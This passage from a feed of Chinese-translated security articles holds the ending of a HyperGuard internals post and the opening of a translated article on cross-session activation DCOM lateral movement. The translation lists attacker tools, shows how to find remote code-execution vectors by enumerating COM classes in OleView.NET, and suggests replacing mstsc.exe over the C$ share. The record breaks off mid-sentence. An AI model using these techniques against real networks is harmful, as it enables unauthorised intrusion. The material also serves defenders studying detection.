black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是一次探索 HyperGuard 并尝试记录它所监控内容的小型远征，同时也对能够读取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel</span></code><span leaf="">内部的调试器进行了常规使用。我想回过头来继续研究 Alt Syscalls，看看是否有什么变化，特别是它如何与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel</span></code><span leaf="">关联。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果这里有任何不准确之处，请联系我以便我修正——这篇博客是我学习过程的反映，并非旨在学术上严谨。希望你喜欢这次阅读 &lt;3.</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下次再见，拜拜 xo.</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://fluxsec.red/what-does-hyperguard-skpg-monitor-vtl1-windows-internals-secure-kernel-patch-guard">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0208c5bf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496786%26idx%3D1%26sn%3D08c97d341f2e88e92ee8e301a1442ba3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 31 Jul 2026 10:50:00 +0800</pubDate>
    </item>
    <item>
      <title>重新审视跨会话激活攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496785&amp;idx=1&amp;sn=4c4800346c26c3af294ce337b2f86bed</link>
      <description>利用跨会话激活与 COM 劫持实现 DCOM 横向移动的新技术，附 BitlockMove 和 SpeechRuntimeMove 两个 PoC</description>
      <content:encoded><![CDATA[<p><span>Fabian Mosch</span> <span>2026-07-30 10:59</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=28909566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShX9IwoK8ibc8J7xenFIfGRNibDwcflL8jm1cfgBFpYmnBOxfiaazhZJzjiasmOcGUb7Dcj0ibEz3KAce5TibdROzp2kmBVOgBRxmiaOs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>利用跨会话激活与 COM 劫持实现 DCOM 横向移动的新技术，附 BitlockMove 和 SpeechRuntimeMove 两个 PoC</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html" target="_blank">https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Fabian Mosch</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文重新审视跨会话激活（Cross Session Activation）攻击</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">引言</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 Active Directory 环境中，攻击者可用的横向移动（Lateral Movement）技术数量有限。以下是在远程系统上以管理员权限执行代码的最知名技术：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">WMI，例如 wmiexec.py</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Remote Service Creation or Modification，例如 smbexec.py</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WinRM，例如 EvilWinRM</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Remote Scheduled Task Creation，例如 atexec.py</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些技术在基于网络和基于端点的入侵指标（IoC）方面都有详尽的文档记录。因此，如果通过上述任何技术调用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd.exe /C</span></code><span leaf="">，或者在远程运行了未签名的可执行文件，攻击者很可能在受监控环境中已经触发了告警。当然，这些 IoC 可以被消除，例如我们可以通过 DLL 侧加载来确保只执行已签名的二进制文件，但拥有更隐蔽的替代方案始终是明智之选。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此外还有一些使用 DCOM 的知名横向移动技术，例如在 dcomexec.py 中实现的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MMC20.Application</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShellWindows</span></code><span leaf="">。然而，这些技术通常只在客户端系统或较旧的 Windows Server 版本上有效，正如评论中所述：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013110" data-ratio="0.28292682926829266" data-s="300,640" type="block" data-type="png" data-w="1025" src="https://wechat2rss.xlab.app/img-proxy/?k=ee63acad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgTlE0ZlJ93ibjbEsKbx9LopTbcpIqNP0P8JDWAibx2n3QGaH8ZtPHCIOSsdFQQccGHuyv5cbbqIJVBZE1PeSmX86RFJ94QvArqE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">就 IoC 而言，这些技术也更容易被检测到，因为众所周知，进程派生新进程是一种不常见的行为，从防御者的角度相对容易将其识别为异常。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">寻找 DCOM 代码执行向量的经典方法</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">跨会话激活攻击简介</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">引入跨会话激活 DCOM 横向移动</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检测</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">结论</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1. 寻找 DCOM 代码执行向量的经典方法</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在协议层面，代码执行的选项是有限的。但当执行原语改为 DCOM 时，使用不同的类会导致代码执行的 IoC 和行为大相径庭。因此，这是一个寻找新执行原语的良好领域。每个版本的 Windows 都使用若干默认 COM 对象，这些对象通过其 CLSID 唯一标识。诸如 oleviewdotnet之类的工具提供了一种便捷的方式来概览给定系统上使用的 CLSID：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7920110192837465" data-s="300,640" data-type="png" data-w="726" type="block" data-imgfileid="100013112" src="https://wechat2rss.xlab.app/img-proxy/?k=0f4b27dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjIYHcpvCAAxoZRo52gnywKHniaXBzJDjMZ8tbDXJb65NCVhUmOO096K5Cxs7oBJQDXtQHLC3JUaOaovWwzp7zGuajP5GmY4mdE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在此示例中，注册了 </span><strong><span leaf="">11676</span></strong><span leaf="">个不同的 CLSID。展开其中一个 CLSID 的视图（本例中为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MSTSWebProxy Class</span></code><span leaf="">），我们可以看到暴露的接口标识符——IID 及其名称：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5232815964523282" data-s="300,640" data-type="png" data-w="451" type="block" data-imgfileid="100013113" src="https://wechat2rss.xlab.app/img-proxy/?k=dabea1fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjKI6UCGVFeTERibg9Gw6Jl1losUVkfNI3SiaGrBUic1CmRmVq2aI4bcVMPibOjVic0KEQY7ibSgN6rEmuksrfLgYib05WsbjbhJBqrK0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在某些情况下，你可以直接从 OleView.NET 中创建此 CLSID 的实例。然而，这通常无法做到，你需要用相应的代码手动调用它们：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8730853391684902" data-s="300,640" data-type="png" data-w="457" type="block" data-imgfileid="100013115" src="https://wechat2rss.xlab.app/img-proxy/?k=5ed651d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShRLGThggYq0nRzyvc1taKS95W4EgRxn1HTymclgPlkDEtp8bT70q077h3Cbx87F0PDGrBhzWDI1KjLVRC7WicTNXvz2xbNFxA4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Viewer</span></code><span leaf="">显示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Yes</span></code><span leaf="">，则函数也可以直接在 OleView.NET 中从该实例调用：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7173553719008264" data-s="300,640" data-type="png" data-w="605" type="block" data-imgfileid="100013116" src="https://wechat2rss.xlab.app/img-proxy/?k=0f350cbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShibcnBscUjhiaVsEOvCvt3BLvtmbvrrY0ibaYIZ96YYQp94kg0bTibJBoeslGFu36JmnUxUWsrRfLkic0qjSc8DNuaPT9ric0bJI2Zw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要查看和修改输入参数，只需双击你选择的函数：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6289156626506024" data-s="300,640" data-type="png" data-w="830" type="block" data-imgfileid="100013117" src="https://wechat2rss.xlab.app/img-proxy/?k=3223cf36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjlOOrCibiafyHvT7L1LS8yQiccGsIEwNaPvWbxJiabK6LBzHQI9Q17s6VdicpGPTWDm4avykGppHPt9e0rtZn3GL3SoiaJqHyguQ1fI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">输入你选择的参数后，点击 Invoke 即可使用提供的输入参数执行函数。我们刚才是不是在一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mstsc.exe</span></code><span leaf="">进程中打开了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.RDP</span></code><span leaf="">文件？</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.49899799599198397" data-s="300,640" data-type="png" data-w="998" type="block" data-imgfileid="100013119" src="https://wechat2rss.xlab.app/img-proxy/?k=59c2b10b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaibx8Hia3mJNVvKCYaib9AKsuibLTGaUv0uwnGJSxt7CIIQMMBU8ROkdld4jEmiaGJXodXCwtJAFO2iaozrqL4mzNwibrrwYrhggmLOY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果此接口可以被远程激活，并且你拥有必要的权限，那么这可以被视为一个新的 DCOM 代码执行向量。攻击者可以通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C$</span></code><span leaf="">从远程位置将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32\mstsc.exe</span></code><span leaf="">替换为任意可执行文件，然后使用此函数启动它。但是，我不建议在实际项目中这样做，因为移除或替换内置的 Windows 二进制文件总是可能导致系统故障。通常，所有 CLSID 要么在代码所在的远程系统上派生一个可执行文件，要么将 DLL 加载到现有进程中（例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">svchost.exe</span></code><span leaf="">）。因此，许多 CLSID 都可以进行可执行文件替换。这里选择 MSTSWebProxy 类只是为了演示分析的整个过程。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但这种方法总体上看起来很简单，对吧？你最好再想想。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">CLSID 超过 11,000 个，且大多数有多个 IID。对所有 CLSID 逐一采用这种方法需要数月时间。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在许多情况下，无法通过 GUI 